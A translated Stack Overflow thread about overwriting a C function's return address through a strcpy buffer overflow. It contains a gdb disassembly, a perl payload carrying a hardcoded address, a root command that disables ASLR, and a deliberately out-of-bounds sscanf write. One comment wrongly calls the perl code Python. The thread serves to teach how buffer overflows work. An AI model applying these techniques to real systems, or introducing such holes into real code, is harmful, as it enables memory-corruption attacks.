C代码如何在代码中更改返回地址?

7

我刚刚写了一段C代码,如下所示:

#include<stdio.h>
#include<string.h>


void func(char *str)
{
        char buffer[24];
        int *ret;
        strcpy(buffer,str);
}

int main(int argc,char **argv)
{
        int x;
        x=0;
        func(argv[1]);
        x=1;
        printf("\nx is 1\n");
        printf("\nx is 0\n\n");
}

请问如何跳过行printf("\nx is 1\n");。之前得到的提示是修改变量ret,该变量是函数func的返回地址。
请问如何在上述程序中更改返回地址,以便跳过printf("\nx is 1\n");
我发布了这个问题,因为我不知道如何更改返回地址。
如果您能帮助我解决这个问题,那就太好了。
谢谢

1
危险!那可能不是你想要做的事情。它会给你带来太多的问题。 - Talljoe
4
你的代码毫无意义......你想做什么? - Brian Roach
1
除了恶意代码之外,没有人需要做你所要求的事情。请想出一个不同的设计。 - user3458
2
不清楚你想做什么。你想要一个单独的程序来完成这个任务吗?我们是在谈论利用软件吗?Shellcode?这很危险,strcpy(buffer,str); - karlphillip
2
你是不是想做类似于这个的事情? - jschmier
显示剩余3条评论
3个回答

17
根据我的理解,您想要执行指令x=1;,然后跳过下一个printf,这样它只会打印x is 0没有办法做到这一点。 但是,可以让func()擦除自己的返回地址,这样代码就会直接跳转到printf("\nx is 0\n\n");。这也意味着跳过了x=1;
这只有可能是因为您正在通过命令行向func()发送任何数据,并直接复制到固定大小的缓冲区。如果您要复制的字符串比分配的缓冲区大,您可能会破坏堆栈,并潜在地覆盖函数的返回地址。
有很多关于这个主题的好书,比如这本书,我建议你去读一下。
在上加载您的应用程序并反汇编主函数,您将看到类似于以下内容的东西:
(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>:    lea    0x4(%esp),%ecx
0x08048412 <main+4>:    and    $0xfffffff0,%esp
0x08048415 <main+7>:    pushl  -0x4(%ecx)
0x08048418 <main+10>:   push   %ebp
0x08048419 <main+11>:   mov    %esp,%ebp
0x0804841b <main+13>:   push   %ecx
0x0804841c <main+14>:   sub    $0x24,%esp
0x0804841f <main+17>:   movl   $0x0,-0x8(%ebp)
0x08048426 <main+24>:   mov    0x4(%ecx),%eax
0x08048429 <main+27>:   add    $0x4,%eax
0x0804842c <main+30>:   mov    (%eax),%eax
0x0804842e <main+32>:   mov    %eax,(%esp)
0x08048431 <main+35>:   call   0x80483f4 <func>     // obvious call to func
0x08048436 <main+40>:   movl   $0x1,-0x8(%ebp)      // x = 1;
0x0804843d <main+47>:   movl   $0x8048520,(%esp)    // pushing "x is 1" to the stack
0x08048444 <main+54>:   call   0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>:   movl   $0x8048528,(%esp)    // pushing "x is 0" to the stack
0x08048450 <main+66>:   call   0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>:   add    $0x24,%esp
0x08048458 <main+74>:   pop    %ecx
0x08048459 <main+75>:   pop    %ebp
0x0804845a <main+76>:   lea    -0x4(%ecx),%esp
0x0804845d <main+79>:   ret    
End of assembler dump.

请注意,第二个printf调用的准备工作始于地址0x08048449。为了覆盖func()原始返回地址并使其跳转到0x08048449,你需要在char buffer[24];的容量范围之外写入数据。出于简化的目的,在本次测试中我使用了char buffer[6];

如果我在gdb中执行以下命令:

run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

这将成功地覆盖缓冲区,并用我想要跳转到的地址替换返回地址:

Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

x is 0


Program exited with code 011.
(gdb)

我不会逐步解释,因为其他人已经做得更好了,但如果你想直接从命令行复制这个行为,可以执行以下操作:

./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

请记住,gdb 报告给您的内存地址可能与我得到的不同。

注意:为了使该技术起作用,您首先需要禁用内核保护。但只有在下面的命令报告的结果不为0时才需要这样做:

cat /proc/sys/kernel/randomize_va_space

要禁用它,您需要超级用户权限:

echo 0 > /proc/sys/kernel/randomize_va_space

7
你能解释一下你是怎么写出下面这段代码的吗:print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"这段代码是用Python语言编写的。它将字符串"123456AAAAAAAA"复制了1次,并在其后面添加了另一个字符串"\x49\x84\x04\x08"。最终结果会被打印出来。其中,"\x49\x84\x04\x08"是一个十六进制转义序列,在计算机安全中常被用作漏洞利用的一部分。 - Amit

2
func函数的返回地址位于栈上,就在其局部变量附近(其中一个是buffer)。如果您想要覆盖返回地址,必须写入数组末尾(可能是buffer[24...27],但我可能错了 - 如果您有64位系统,则可能是buffer[28...31]或者甚至是buffer[24...31])。建议使用调试器查找确切的地址。

顺便说一句,去掉ret变量 - 保留它没有任何意义,并且可能会混淆您的计算。

请注意,这个“缓冲区溢出漏洞”有点难以调试,因为strcpy遇到零字节时停止复制内容,而您想要写入栈的地址可能包含这样的字节。按照以下方式操作会更容易:

void func(char *str)
{
    char buffer[24];
    sscanf(str, "%x", &buffer[24]); // replace the 24 by 28, 32 or whatever is right
}

在命令行中以十六进制字符串形式提供地址。这样做可以更清晰地表达您的意图,并且更容易进行调试。


我们如何使用调试器来查找这个确切的地址? - Abhiram Natarajan

-4
这是不可能的 - 如果你知道编译器及其工作原理、生成的汇编代码、使用的库、架构、CPU、系统环境以及明天的彩票号码,那么它就有可能。如果你拥有这些知识,你就足够聪明,不需要问别人。唯一有意义的情况是当有人尝试某种攻击时,而且不要指望有人愿意帮助你。

5
如果你编程使用C语言,理解缓冲区溢出的工作原理非常重要,因此提供帮助是必要的! - anatolyg
3
我查了一下,似乎大多数人认为黑帽问题是可以接受的。由于很难确定意图,所以假设安全漏洞问题背后有防御目的。参考:这里这里 - jschmier
@anatolyg:也许会,也许不会导致缓冲区溢出,这取决于所使用的架构 - 想象一下哈佛架构或新的堆栈破坏保护机制,编译器可以将其内联(或者完全优化掉),有很多可能性,所以这个问题没有意义。在我看来,如果他想知道有关缓冲区溢出的信息,他应该询问相关方面。 - flolo
有些人可能正在努力理解它是如何工作的,以便真正修复错误。并不是每个人都是恶意的。 - Brian White

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接